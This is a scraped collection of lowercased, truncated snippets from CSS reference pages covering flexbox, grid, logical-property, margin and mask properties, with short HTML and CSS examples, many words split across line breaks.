round-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem ...
env() - CSS: Cascading Style Sheets
for non-rectangular displays — like a
round watch face — the four values set by the user agent form a rectangle such that all content inside the rectangle is visible.
fit-content() - CSS: Cascading Style Sheets
</div> <div>flexible item</div> </div> css #container { display: grid; grid-template-columns: fit-content(300px) fit-content(300px) 1fr; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; backg
round-color: #8cffa0; padding: 10px; } #container > div { backg
round-color: #8ca0ff; padding: 5px; } result specifications specification status comment css box sizing module level 3the definition of 'fit-content()' in that specification.
flex-basis - CSS: Cascading Style Sheets
st</li> <li class="flex flex3">3: flex-basis test</li> <li class="flex flex4">4: flex-basis test</li> <li class="flex flex5">5: flex-basis test</li> </ul> <ul class="container"> <li class="flex flex6">6: flex-basis test</li> </ul> css .container { font-family: arial, sans-serif; margin: 0; padding: 0; list-style-type: none; display: flex; flex-wrap: wrap; } .flex { backg
round: #6ab6d8; padding: 10px; margin-bottom: 50px; border: 3px solid #2e86bb; color: white; font-size: 14px; text-align: center; position: relative; } .flex:after { position: absolute; z-index: 1; left: 0; top: 100%; margin-top: 10px; width: 100%; color: #333; font-size: 12px; } .flex1 { flex-basis: auto; } .flex1:after { content: 'auto'; } .flex2 { flex-basis: ...
flex-direction - CSS: Cascading Style Sheets
tions understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="backg
round-color:red;">a</div> <div class="box" style="backg
round-color:lightblue;">b</div> <div class="box" style="backg
round-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="content1"> <div class="box1" style="backg
round-color:red;">a</div> <div class="box1" style="backg
round-color:lightblue;">b</div> <div class="box1" style="backg
round-color:yellow;">c</div> </div> css #...
flex-grow - CSS: Cascading Style Sheets
d and e are flex-grow:2 .</h5> <div id="content"> <div class="box" style="backg
round-color:red;">a</div> <div class="box" style="backg
round-color:lightblue;">b</div> <div class="box" style="backg
round-color:yellow;">c</div> <div class="box1" style="backg
round-color:brown;">d</div> <div class="box1" style="backg
round-color:lightgreen;">e</div> <div class="box" style="backg
round-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-arou...
flex-shrink - CSS: Cascading Style Sheets
d and e have flex-shrink:2 set</p> <p>the width of d and e is less than the others.</p> <div id="content"> <div class="box" style="backg
round-color:red;">a</div> <div class="box" style="backg
round-color:lightblue;">b</div> <div class="box" style="backg
round-color:yellow;">c</div> <div class="box1" style="backg
round-color:brown;">d</div> <div class="box1" style="backg
round-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-basis: 120px; border: 3px solid rgba(0,0,0,.2)...
flex-wrap - CSS: Cascading Style Sheets
lex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* common styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red { backg
round: orangered; } .green { backg
round: yellowgreen; } .blue { backg
round: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout mod...
flex - CSS: Cascading Style Sheets
>auto</div> <div class="item none">none</div> </div> <div class="flex-container"> <div class="item initial">initial</div> <div class="item none">none</div> <div class="item none">none</div> </div> <div class="flex-container"> <div class="item four">4</div> <div class="item two">2</div> <div class="item one">1</div> </div> * { box-sizing: border-box; } .flex-container { backg
round-color: #f4f7f8; resize: horizontal; overflow: hidden; display: flex; margin: 1em; } .item { margin: 1em; padding: 0.5em; width: 110px; min-width: 0; backg
round-color: #1b5385; color: white; font-family: monospace; font-size: 13px; } .initial { flex: initial; } .auto { flex: auto; } .none { flex: none; } .four { flex: 4; } .two { flex: 2; } .one { flex: 1...
grid-area - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid areas html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1fr) / 50px 100px; } #item1 { backg
round-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 { backg
round-color: yellow; } #item3 { backg
round-color: blue; } result specifications specification status comment css grid layoutthe definition of 'grid-area' in that specification.
grid-auto-columns - CSS: Cascading Style Sheets
<length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid column size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { height: 100px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-columns: 200px; } #grid > div { backg
round-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-columns' in that specification.
grid-auto-flow - CSS: Cascading Style Sheets
value="column">column</option> <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changegridautoflow()"> <label for="dense">dense</label> css #grid { height: 200px; width: 200px; display: grid; grid-gap: 10px; grid-template: repeat(4, 1fr) / repeat(2, 1fr); grid-auto-flow: column; /* or 'row', 'row dense', 'column dense' */ } #item1 { backg
round-color: lime; grid-row-start: 3; } #item2 { backg
round-color: yellow; } #item3 { backg
round-color: blue; } #item4 { grid-column-start: 2; backg
round-color: red; } #item5 { backg
round-color: aqua; } function changegridautoflow() { var grid = document.getelementbyid("grid"); var direction = document.getelementbyid("direction"); var dense = document.getelementbyid("dense"); v...
grid-auto-rows - CSS: Cascading Style Sheets
eadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid row size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { width: 200px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-rows: 100px; } #grid > div { backg
round-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-rows' in that specification.
grid-column-end - CSS: Cascading Style Sheets
box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; backg
round-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-end' i...
grid-column-start - CSS: Cascading Style Sheets
box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; backg
round-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-start'...
grid-column - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid column size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1fr); grid-template-rows: 100px; } #item1 { backg
round-color: lime; } #item2 { backg
round-color: yellow; grid-column: 2 / 4; } #item3 { backg
round-color: blue; grid-column: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-column' in that specification.
grid-row-end - CSS: Cascading Style Sheets
box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; backg
round-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-end' in t...
grid-row-start - CSS: Cascading Style Sheets
box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; backg
round-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-start' in...
grid-row - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid row size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1fr); } #item1 { backg
round-color: lime; } #item2 { backg
round-color: yellow; grid-row: 2 / 4; } #item3 { backg
round-color: blue; grid-row: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-row' in that specification.
grid-template-areas - CSS: Cascading Style Sheets
<header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head; backg
round-color: #8ca0ff; } #page > nav { grid-area: nav; backg
round-color: #ffa08c; } #page > main { grid-area: main; backg
round-color: #ffff64; } #page > footer { grid-area: foot; backg
round-color: #8cffa0; } result specifications specification status comment css grid layoutthe definition of 'grid-template-areas' in that specification.
grid-template-columns - CSS: Cascading Style Sheets
t | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid column sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; } #areaa { backg
round-color: lime; } #areab { backg
round-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-columns' in that specification.
grid-template-rows - CSS: Cascading Style Sheets
ntent | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid row sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; height: 100px; grid-template-rows: 30px 1fr; } #areaa { backg
round-color: lime; } #areab { backg
round-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-rows' in that specification.
grid-template - CSS: Cascading Style Sheets
ontent | autowhere <length-percentage> = <length> | <percentage> examples defining a grid template css #page { display: grid; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] [main-left] "nav main" 1fr [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } header { backg
round-color: lime; grid-area: head; } nav { backg
round-color: lightblue; grid-area: nav; } main { backg
round-color: yellow; grid-area: main; } footer { backg
round-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification st...
grid - CSS: Cascading Style Sheets
/ <'grid-template-columns'> examples creating a grid layout html <div id="container"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div { backg
round-color: #8ca0ff; width: 50px; height: 50px; } result specifications specification status comment css grid layoutthe definition of 'grid' in that specification.
ident - CSS: Cascading Style Sheets
examples valid identifiers nono79 a mix of alphanumeric characters and numbers g
round-level a mix of alphanumeric characters and a dash -test a dash followed by alphanumeric characters --toto a custom-property like identifier _internal an underscore followed by alphanumeric characters \22 toto a unicode character followed by a sequence of alphanumeric characters bili\.bob a correctly escaped period invalid identifiers 34rem it must not start with a dec...
inline-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; backg
round-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
inset-block-end - CSS: Cascading Style Sheets
ion initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in that specification.
inset-block-start - CSS: Cascading Style Sheets
n initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px; backg
round-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that specification.
inset-block - CSS: Cascading Style Sheets
ueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in that specification.
inset-inline-end - CSS: Cascading Style Sheets
tion initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-end' in that specification.
inset-inline-start - CSS: Cascading Style Sheets
n initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-start' in that specification.
inset-inline - CSS: Cascading Style Sheets
ueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in that specification.
inset - CSS: Cascading Style Sheets
eautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,4} examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div { backg
round-color: yellow; width: 150px; height: 120px; position: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset' in that specification.
isolation - CSS: Cascading Style Sheets
lies to container elements, graphics elements, and graphics referencing elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | isolate examples forcing a new stacking context for an element html <div id="b" class="a"> <div id="d"> <div class="a c">auto</div> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a { backg
round-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compositing and blending level 1the definition of 'isolation' in that specification.
<length> - CSS: Cascading Style Sheets
html <div class="outer"> <div class="input-container"> <label>enter width:</label> <input type="text" id="length"> </div> <div class="inner"> </div> </div> <div class="results"> </div> css html { font-family: sans-serif; font-weight: bold; box-sizing: border-box; } .outer { width: 100%; height: 50px; backg
round-color: #eee; position: relative; } .inner { height: 50px; backg
round-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); } .result { height: 20px; backg
round-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); backg
round-color: orange; display: flex...
line-break - CSS: Cascading Style Sheets
anywhere there is a soft wrap opportunity a
round every typographic character unit, including a
round any punctuation character or preserved white spaces, or in the middle of words, disregarding any prohibition against line breaks, even those introduced by characters with the gl, wj, or zwj character class or mandated by the word-break property.
margin-block-end - CSS: Cascading Style Sheets
n initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
margin-block-start - CSS: Cascading Style Sheets
initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specification.
margin-block - CSS: Cascading Style Sheets
0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
margin-bottom - CSS: Cascading Style Sheets
ox one's negative margin pulls me up</div> </div> css css for divs to set margin-bottom and height .box0 { margin-bottom:1em; height:3em; } .box1 { margin-bottom:-1.5em; height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container { backg
round-color:orange; width:320px; border:1px solid black; } div { width:320px; backg
round-color:gold; } result specifications specification status comment css basic box modelthe definition of 'margin-bottom' in that specification.
margin-inline-end - CSS: Cascading Style Sheets
initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-end' in that specification.
margin-inline-start - CSS: Cascading Style Sheets
initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specification.
margin-inline - CSS: Cascading Style Sheets
applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
margin-trim - CSS: Cascading Style Sheets
valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for this property, it will probably work like so: when you've got a container with some inline children and you want to put a margin between each child but not have it interfere with the spacing at the end of the row, you might do something like this: article { backg
round-color: red; margin: 20px; padding: 20px; display: inline-block; } article > span { backg
round-color: black; color: white; text-align: center; padding: 10px; margin-right: 20px; } the problem here is that you'd end up with 20px too much spacing at the right of the row, so you'd maybe do this to fix it: span:last-child { margin-right: 0; } it is a pain having to write another ...
mask-clip - CSS: Cascading Style Sheets
s element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; backg
round-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> ...
mask-composite - CSS: Cascading Style Sheets
al valueaddapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; backg
round-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option val...
mask-image - CSS: Cascading Style Sheets
ercentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px; backg
round-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specification.
mask-mode - CSS: Cascading Style Sheets
formal definition initial valuematch-sourceapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; backg
round: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode =...
mask-origin - CSS: Cascading Style Sheets
mentsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; backg
round-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option va...
mask-size - CSS: Cascading Style Sheets
alueas specified, but with relative lengths converted into absolute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples setting mask size as a percentage css #masked { width: 200px; height: 200px; backg
round: blue linear-gradient(red, blue); -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); -webkit-mask-size: 50%; mask-size: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value=...
max-block-size - CSS: Cascading Style Sheets
.standard-box { padding: 4px; backg
round-color: #abcdef; color: #000; font: 16px "open sans", "helvetica", "arial", sans-serif; max-block-size: 160px; min-block-size: 100px; } .horizontal { writing-mode: horizontal-tb; } .vertical { writing-mode: vertical-rl; } result specifications specification status comment css logical properties and values level 1the definition of 'max-block-size' in ...
max-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; backg
round-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
max-width - CSS: Cascading Style Sheets
</div> </div> css #parent { backg
round: lightblue; width: 300px; } #child { backg
round: gold; width: 100%; max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification.
min-block-size - CSS: Cascading Style Sheets
rmal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; backg
round-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size' in that specification.
min-inline-size - CSS: Cascading Style Sheets
al definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; backg
round-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-inline-size' in that specification.
min() - CSS: Cascading Style Sheets
let's look at some css: input, label { padding: 2px; box-sizing: border-box; display: inline-block; width: min(40%, 400px); backg
round-color: pink; } form { margin: 4px; border: 1px solid black; padding: 4px; } here, the form itself, along with the margin, border, and padding, will be 100% of its parent's width.
minmax() - CSS: Cascading Style Sheets
centage> | <flex> | min-content | max-content | auto ] ) css properties minmax() function can be used within: grid-template-columns grid-template-rows grid-auto-columns grid-auto-rows examples css #container { display: grid; grid-template-columns: minmax(min-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; backg
round-color: #8cffa0; padding: 10px; } #container > div { backg
round-color: #8ca0ff; padding: 5px; } html <div id="container"> <div> item as wide as the content, but at most 300 pixels.
offset-distance - CSS: Cascading Style Sheets
html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; backg
round: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
offset-rotate - CSS: Cascading Style Sheets
formal definition initial valueautoapplies totransformable elementsinheritednocomputed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto | reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px; backg
